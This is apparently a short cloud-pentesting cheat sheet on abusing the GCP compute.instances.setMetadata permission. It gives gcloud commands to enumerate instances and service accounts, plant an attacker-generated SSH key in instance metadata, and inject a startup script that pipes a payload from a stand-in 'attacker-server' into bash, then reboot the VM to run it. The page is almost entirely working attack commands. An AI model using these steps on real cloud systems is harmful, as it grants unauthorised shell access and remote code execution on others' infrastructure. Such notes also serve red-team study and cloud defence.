compute.instances.setMetadata
Enum
gcloud compute instances list
gcloud compute instances list --zones=ZONE
gcloud compute instances describe INSTANCE_NAME --zone=ZONE
gcloud compute instances describe INSTANCE_NAME \
--zone=ZONE --format="value(serviceAccounts.email)"Abuse
##View metadata
gcloud compute instances describe INSTANCE_NAME \
--zone=ZONE --format="value(metadata.items)"
##Add ssh-keys
ssh-keygen -t rsa -b 4096 -f almighty-vinay -N ""
export PUBKEY="almighty-vinay:$(cat almighty-vinay.pub)"
gcloud compute instances add-metadata INSTANCE_NAME \
--zone=ZONE \
--metadata=ssh-keys="$PUBKEY"
##Inject startup script
gcloud compute instances add-metadata INSTANCE_NAME \
--zone=ZONE \
--metadata=startup-script='#!/bin/bash
curl http://attacker-server/payload.sh | bash'
##reboot VM
gcloud compute instances reset INSTANCE_NAME --zone=ZONE
Last updated